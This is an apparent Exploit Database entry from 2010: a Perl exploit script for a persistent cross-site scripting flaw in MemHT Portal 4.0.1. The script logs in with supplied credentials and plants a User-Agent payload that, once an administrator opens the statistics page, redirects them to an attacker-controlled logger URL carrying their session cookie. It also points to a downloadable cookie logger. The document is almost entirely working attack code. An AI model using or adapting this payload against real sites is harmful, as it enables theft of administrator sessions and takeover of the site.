MemHT Portal 4.0.1 - 'User Agent' Persistent Cross-Site Scripting

EDB-ID:

15623

CVE:



Author:

ZonTa

Type:

webapps


Platform:

PHP

Date:

2010-11-27


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#!/usr/bin/perl 
# MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability [user agent]
# by ZonTa - zontahackers[at]gmail[dot]com
#
# After successful inject wait for the admin to view statistic page.
# Fix is available : http://www.memht.com/news_149_MemHT-Portal-4-0-2.html

use Getopt::Std;
use Digest::MD5('md5_hex');
use LWP::UserAgent;

my ($host,$id,$username,$password,$logger) = @ARGV;
 
my $http = new LWP::UserAgent;
my $u_agent = "]\"</td></tr><BODY ONLOAD=document.location=\"http://$logger?cookie=\"+document.cookie+\"&redirect=http://$host\">";
my $cookies = "login_user=$id#".md5_hex($username)."#".md5_hex($password);

Main::Exploit();

package Main;

sub Exploit 
{    
    if (@ARGV != 5) {
        Main::Usage();
    }
    else { 
        HTTP::UserAgent($u_agent);
        MemHT::Login();     
    }    
}    

sub Usage {
 
return print <<EOF;
+-------------------------------------------------------------------+
| MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability  |
+-------------------------[user agent]------------------------------+

by ZonTa - zontahackers[at]gmail[dot]com
 
Usage: perl exploit.pl host/path userId user pass logger[OPTIONS]

host: target host and memht path
userId: user id
user: valid username
pass: valid password
logger: PHP loging file
  
Example: 
perl exploit.pl localhost/memht 2 foo secret 192.168.1.5/logger.php 

Download Logger.php -> http://pastebin.com/K6E9AWrC

EOF
}

package MemHT;		
        
sub Login
{
    HTTP::Cookies($cookies);
    my $response = HTTP::GET($host.'/index.php?page=pvtmsg&op=newMessage');
     
    if ($response->content =~ /access denied/i) {
        print "Login Failed!\n";
		exit;
	}
	else {
		print "Logged In!\n";
		print "XSS injected !";
        
    }	
}

package HTTP;

sub UserAgent 
{
    return $http->agent($_[0]);
} 

sub Cookies 
{
    return $http->default_header('Cookie' => $_[0]);
}
 
sub GET 
{    
    if ($_[0] !~ m{^http://(.+?)$}i) {
        return $http->get('http://'.$_[0]);
    }    
    else {
        return $http->get($_[0]);
    }    
}
     
sub POST 
{   
    if ($_[0] !~ m{^http://(.+?)$}i) {
        return $http->post('http://'.$_[0]);
    }    
    else {
        return $http->post($_[0]);
    }    
}
     
sub http_header 
{
    return $http->default_header($_[0]);
}  

# Greetz to Sri Lankans